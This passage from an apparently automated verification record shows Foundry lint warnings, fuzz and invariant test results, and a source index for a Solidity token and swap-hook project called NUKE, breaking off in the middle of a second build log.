 │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:229:25\n    │\n229 │         uint256 spent = uint256(-int256(tokenIs0 ? delta.amount1() : delta.amount0()));\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:230:26\n    │\n230 │         uint256 bought = uint256(int256(tokenIs0 ? delta.amount0() : delta.amount1()));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/NUKEHook.sol:238:13\n    │\n238 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/NUKEHook.sol:265:43\n    │\n265 │             uint256 newStart = boundary + ((block.timestamp - boundary) / BATCH_INTERVAL) * BATCH_INTERVAL;\n    │                                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:257:13\n    │\n257 │         if (block.timestamp < boundary) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:266:17\n    │\n266 │             if (newStart > boundary) o.meanTick = o.tick;\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:258:27\n    │\n258 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:258:50\n    │\n258 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:260:69\n    │\n260 │             int256 integral = int256(o.integral) + int256(o.tick) * int256(boundary - o.observedAt);\n    │                                                                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:261:38\n    │\n261 │             int256 mean = integral / int256(BATCH_INTERVAL);\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:263:44\n    │\n263 │             if (integral < 0 && integral % int256(BATCH_INTERVAL) != 0) --mean;\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:264:26\n    │\n264 │             o.meanTick = int24(mean);\n    │                          ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:267:28\n    │\n267 │             o.epochStart = uint64(newStart);\n    │                            ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:268:26\n    │\n268 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:268:49\n    │\n268 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:270:24\n    │\n270 │         o.observedAt = uint64(block.timestamp);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":5418,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 962.33µs (0.00ns CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 466299, ~: 433741)\nLogs:\n  Bound result 9000000000004645019\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 174.83ms (155.17ms CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesReverseOrderTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 390217, ~: 392408)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 437887)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 649998)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 6550675)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 961602)\n[PASS] test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1117886)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 777766)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 230.77ms (236.24ms CPU time)\n\nRan 5 tests for test/NUKE.t.sol:NUKETest\n[PASS] testFuzz_conservation(uint256) (runs: 1000, μ: 86245, ~: 86525)\nLogs:\n  Bound result 849271655310919278445432728\n\n[PASS] test_entireFixedSupplyBelongsToDeployer() (gas: 44027)\n[PASS] test_factoryCanTransferAllAllocationsWithoutTax() (gas: 140535)\n[PASS] test_noAdministrativeSupplyMutation() (gas: 170405)\n[PASS] test_transferFailuresAndAllowance() (gas: 204623)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 230.93ms (231.58ms CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsReverseOrderTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 504083, ~: 471912)\nLogs:\n  Bound result 9000000000004645019\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 235.63ms (228.98ms CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookReverseOrderTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 366773, ~: 367940)\nLogs:\n  Bound result 88097280378199397459820\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1131295, ~: 1129398)\nLogs:\n  Bound result 1721\n  Bound result 2358\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 672543)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 470188)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1249615)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 3318219)\n[PASS] test_dustFeeRoundsDown() (gas: 369128)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 774098)\n[PASS] test_exactInputBuy() (gas: 365837)\n[PASS] test_exactInputSell() (gas: 359353)\n[PASS] test_exactOutputBuy() (gas: 364733)\n[PASS] test_exactOutputSell() (gas: 360243)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 10499678)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 810997)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 10668559)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 707267)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 327889)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 5503507)\n[PASS] test_partialExactInputBuy() (gas: 366112)\n[PASS] test_partialExactInputSell() (gas: 360651)\n[PASS] test_partialExactOutputBuy() (gas: 364686)\n[PASS] test_partialExactOutputSell() (gas: 359726)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 696093)\n[PASS] test_permissionsAndDeployment() (gas: 1901781)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 28168)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 418076)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 235.69ms (475.78ms CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 361599, ~: 359582)\nLogs:\n  Bound result 99999000000000000841478\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1116318, ~: 1118170)\nLogs:\n  Bound result 1900\n  Bound result 3458\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 666930)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 464447)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1244117)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 11769475)\n[PASS] test_dustFeeRoundsDown() (gas: 355274)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 762571)\n[PASS] test_exactInputBuy() (gas: 355072)\n[PASS] test_exactInputSell() (gas: 360118)\n[PASS] test_exactOutputBuy() (gas: 355404)\n[PASS] test_exactOutputSell() (gas: 359572)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 31919221)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 795140)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 32096000)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 689556)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 322637)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 13131709)\n[PASS] test_partialExactInputBuy() (gas: 355647)\n[PASS] test_partialExactInputSell() (gas: 361116)\n[PASS] test_partialExactOutputBuy() (gas: 354525)\n[PASS] test_partialExactOutputSell() (gas: 359894)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 685328)\n[PASS] test_permissionsAndDeployment() (gas: 1901781)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 28086)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 408251)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 235.69ms (402.90ms CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 385116, ~: 382779)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 431655)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 643673)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 6516293)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 961966)\n[PASS] test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1120960)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 766985)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 236.00ms (227.99ms CPU time)\n\nRan 1 test for test/Conservation.t.sol:ConservationTest\n[PASS] invariant_feesAreConservedAndNoDebtRemains() (runs: 128, calls: 8192, reverts: 0)\n\n╭---------------------+-----------------+-------+---------+----------╮\n| Contract            | Selector        | Calls | Reverts | Discards |\n+====================================================================+\n| ConservationHandler | advanceAndBatch | 2705  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | swap            | 2766  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | sweep           | 2721  | 0       | 0        |\n╰---------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 499999999999900005795\n  Bound result 3601\n  Bound result 3933\n  Bound result 499999999999900005856\n  Bound result 3701\n  Bound result 5295\n  Bound result 6680\n  Bound result 3728\n  Bound result 499999999999900003790\n  Bound result 499999999999900001586\n  Bound result 6782\n  Bound result 499999999999900013226\n  Bound result 499999999999900000102\n  Bound result 499999999999900011622\n  Bound result 3600\n  Bound result 3901\n  Bound result 3601\n  Bound result 499999999999900166041\n  Bound result 499999999999900001249\n  Bound result 499999999999900005989\n  Bound result 5031\n  Bound result 499999999999900008312\n  Bound result 6982\n  Bound result 6978\n  Bound result 3998\n  Bound result 499999999999900010229\n  Bound result 3942\n  Bound result 499999999999900000635\n  Bound result 6050\n  Bound result 4502\n  Bound result 3605\n  Bound result 499999999999900007011\n  Bound result 499999999999900014686\n  Bound result 16331038574219354256\n  Bound result 5298\n  Bound result 5065877327258767268\n  Bound result 499999999999900014882\n  Bound result 499999999999900003166\n  Bound result 6413\n  Bound result 5401\n  Bound result 7199\n  Bound result 269560537359\n  Bound result 499999999999900002545\n  Bound result 499999999999900009988\n  Bound result 4798\n  Bound result 499999999999900015348\n  Bound result 4502\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48s (1.46s CPU time)\n\nRan 3 tests for test/StatefulAccounting.t.sol:StatefulAccountingTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 3600  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 3435  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 3537  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 3589  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 3494  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 3395  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 3526  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 3739\n  Bound result 5123\n  Bound result 67\n  Bound result 185\n  Bound result 74\n  Bound result 276\n  Bound result 5\n  Bound result 14735\n  Bound result 27\n  Bound result 6582\n  Bound result 5948\n  Bound result 127\n  Bound result 9702\n  Bound result 6106\n  Bound result 8571\n  Bound result 1\n  Bound result 13363\n  Bound result 30\n  Bound result 1699\n  Bound result 1243\n  Bound result 2\n  Bound result 12836593602159\n  Bound result 3\n  Bound result 332091149\n  Bound result 9701\n  Bound result 3279\n  Bound result 11630\n  Bound result 50\n  Bound result 8493\n  Bound result 827824801702\n  Bound result 9430\n  Bound result 38\n  Bound result 23\n  Bound result 79\n  Bound result 11680\n  Bound result 61\n  Bound result 4416\n  Bound result 6\n  Bound result 1023\n  Bound result 83\n  Bound result 1800\n  Bound result 36750495627461354\n  Bound result 26\n  Bound result 7310904266309898135\n  Bound result 890200726676650197926\n  Bound result 11934\n  Bound result 96\n  Bound result 17111\n  Bound result 13\n  Bound result 5835\n  Bound result 5357193869693072485\n  Bound result 50\n  Bound result 5850\n  Bound result 12\n  Bound result 15057\n  Bound result 3640\n  Bound result 901\n  Bound result 5\n  Bound result 15798\n  Bound result 3207\n  Bound result 2539800113\n  Bound result 339790\n  Bound result 52\n  Bound result 1\n  Bound result 12910\n  Bound result 1224066029\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 961078)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 2311535)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n  Bound result 3600\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 5.28s (5.26s CPU time)\n\nRan 3 tests for test/StatefulAccounting.t.sol:StatefulAccountingReverseOrderTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 3600  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 3435  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 3537  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 3589  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 3494  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 3395  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 3526  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 3285\n  Bound result 11449\n  Bound result 1\n  Bound result 13892\n  Bound result 41\n  Bound result 1889\n  Bound result 5\n  Bound result 6301\n  Bound result 27\n  Bound result 3445\n  Bound result 5948\n  Bound result 127\n  Bound result 779662226613064272519\n  Bound result 1734\n  Bound result 9006\n  Bound result 69\n  Bound result 7608\n  Bound result 82\n  Bound result 1699\n  Bound result 1243\n  Bound result 2\n  Bound result 12836593602159\n  Bound result 3\n  Bound result 332091149\n  Bound result 953463774594642675449\n  Bound result 1471\n  Bound result 13054\n  Bound result 14\n  Bound result 3500914322\n  Bound result 827824801702\n  Bound result 7765\n  Bound result 1\n  Bound result 4347\n  Bound result 19\n  Bound result 10300\n  Bound result 40\n  Bound result 14072\n  Bound result 6\n  Bound result 14372\n  Bound result 78\n  Bound result 1800\n  Bound result 173998868381998458158\n  Bound result 14\n  Bound result 7310904266309898135\n  Bound result 8552\n  Bound result 4709\n  Bound result 96\n  Bound result 9943\n  Bound result 55\n  Bound result 1669\n  Bound result 5357193869693072485\n  Bound result 50\n  Bound result 5277\n  Bound result 12\n  Bound result 8858\n  Bound result 2199\n  Bound result 901\n  Bound result 5\n  Bound result 8185\n  Bound result 2077\n  Bound result 1362\n  Bound result 339790\n  Bound result 52\n  Bound result 1\n  Bound result 2740\n  Bound result 11534\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 959287)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 2302944)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n  Bound result 3600\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 5.33s (5.33s CPU time)\n\nRan 11 test suites in 5.34s (13.67s CPU time): 88 tests passed, 0 failed, 1 skipped (89 total tests)\n","passed":true},{"durationMs":58,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NUKE.approve(address,uint256)\",\"NUKE.transfer(address,uint256)\",\"NUKE.transferFrom(address,address,uint256)\",\"NUKEHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"NUKEHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"NUKEHook.executeBatch()\",\"NUKEHook.sweep()\",\"NUKEHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":3,\"README.md\":100,\"dependencies.json\":26,\"dependencies.sha256\":82,\"docs/SECURITY_REVIEW.md\":31,\"foundry.toml\":13,\"launch.json\":21,\"remappings.txt\":4,\"script/MineHook.s.sol\":28,\"src/NUKE.sol\":11,\"src/NUKEHook.sol\":272,\"test/Conservation.t.sol\":108,\"test/MainnetFork.t.sol\":82,\"test/NUKE.t.sol\":75,\"test/NUKEHook.t.sol\":360,\"test/README.md\":29,\"test/SettlementEdges.t.sol\":287,\"test/StatefulAccounting.t.sol\":293,\"test/helpers/ClaimActor.sol\":76,\"test/helpers/HookFixture.sol\":138,\"test/helpers/PoolActor.sol\":66},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"7303c3d4141c6b18ae03be3a2f3ccd7450a324cc18ec385828c7c33bc571a1f6","verifiedTreeHash":"17672d19907d365c1344249d45e97cb35cac7f5d","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":125671,"exitCode":0,"name":"build","output":"Compiling 87 files with Solc 0.8.26\nSolc 0.8.26 finished in 125.48s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/NUKEHook.sol:208:35\n    │\n208 │         if (need == 0) return (0, false);\n    │                                   ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/NUKEHook.sol:225:43\n    │\n225 │                     return (sqrtPriceX96, true);\n    │                                           ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/NUKEHook.sol:237:20\n    │\n237 │         return (0, false);\n    │                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-events-arithmetic]: `lastBatch` is changed without an event but is used in arithmetic\n    ╭▸ src/NUKEHook.sol:132:9\n    │\n132 │         lastBatch = block.timestamp;\n    │         ━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-arithmetic\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:130:25\n    │\n130 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:130:50\n    │\n130 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:144:42\n    │\n144 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:144:87\n    │\n144 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                                                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:145:25\n    │\n145 │         if (magnitude > uint256(type(int256).max) - magnitude / 100) revert UnrepresentableFee();\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:165:13\n    │\n165 │             emit FeeAccrued(currency, fee);\n    │             